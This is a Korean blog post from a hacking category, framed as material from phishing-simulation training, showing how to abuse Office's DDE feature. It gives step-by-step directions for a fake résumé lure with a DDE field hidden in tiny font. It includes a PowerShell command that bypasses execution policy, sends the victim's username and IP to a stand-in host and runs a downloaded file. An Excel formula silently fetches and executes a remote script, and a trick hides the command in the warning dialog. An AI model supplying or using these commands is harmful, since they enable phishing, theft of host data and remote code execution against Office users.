본문 바로가기

Hacking/Windows

DDE, DDEAUTO Attack with powershell

아래 뉴스기사에 포함된 DDE 기능(본래 취약점은 아니고, 기능이라고 볼 수 있겠습니다. ) 관련 문의가 있어,

Phishing 메일 발송훈련을 하며 정리한 내용을 보내드립니다.

 

약 한달 전부터 온라인에서 이슈가 되었던 DDE는 ‘Dynamic Data Exchange’의 줄임말로 ‘동적 데이터 교환’이라고도 합니다.

MS Office 시리즈와 동적으로 데이터를 교환 할 수 있는 외부 연동용 API라고 보시면 되는데요.

 

이를 통해 인터넷과 통신하여 증권회사 주가API와 엑셀을 연동하여 주식거래를 할 수 도 있습니다.

동적으로 데이터를 받아오기 위해 인터넷 사용이 가능한데, 악성 스크립트를 다운받고 실행이 가능하게 됩니다.


이는 Phishing Mail 발송, APT공격에 사용할 만한 아주 좋은 기능이라 볼 수 있습니다.

 

1.     아래와 같이 가짜 이력서를 제작, 마치 경고창의 확인버튼을 누르지 않으면 보이지 않는 것 처럼

컨텐츠를 제작합니다.

 

 

2.     워드의 ‘삽입’-> 빠른 문서요서-> 필드 기능을 이용, DDE를 삽입합니다.

하단에 작은 글씨로 DDE를 삽입할 경우 사용자가 인지하기 힘듭니다.

폰트사이즈를 1로 할 경우 거의 보이지 않습니다 J

           

삽입된 파워쉘 스크립트는 아래와 같으며, 사용자의 IP, Hostname, 사용자명을 수집합니다.

 

아래 스크립트는 파일 다운로드 및 실행(Start-Process)가 가능하게 해주는 스크립트입니다.

powershell.exe -ExecutionPolicy Bypass $f = '%TEMP%\김지연이력서.docx';$ip=get-WmiObject Win32_NetworkAdapterConfiguration^|Where {$_.Ipaddress.length -gt 1} ;  $i = $ip.ipaddress[0]; (New-Object System.Net.WebClient).DownloadFile('http://example.com/APT.docx?'+$env:UserName+'_'+$i,$f);Start-Process $f;

 

 

엑셀에서는 아래 코드로 이용할 수 있습니다.

In Excel, we can execute below code.

=cmd|'/C powershell.exe -ExecutionPolicy Bypass -w hidden $e=(New-Object System.Net.WebClient).DownloadString(\"http://example.com/1.ps1\");IEX $e'!A1

 

3.     피해자가 문서를 열람할 경우 아래와 같은 경고창이 발생하지만,

Powershell 변수 선언을 통해 경고창에 표시된 스크립트가 잘 보이지 않도록 밀어낼 수 있습니다.



 

4.     정보 수집 서버에 정상적으로 피해자의 정보가 수집(이름, 호스트네임) 되었음을 확인할 수 있습니다 .


 



** 파워쉘 스크립트는 기본 보안정책에 따라 실행 불가능 하기 때문에, 반드시

아래 ExecutionPolicy를 추가하여야 합니다.

powershell.exe -ExecutionPolicy Bypass








'Hacking > Windows' 카테고리의 다른 글

[Windows] schtask 사용법  (0) 2016.11.23
[WMI] 실행중인 프로그램의 실행옵션 보기  (0) 2015.09.17
Active Directory login하기  (0) 2015.09.10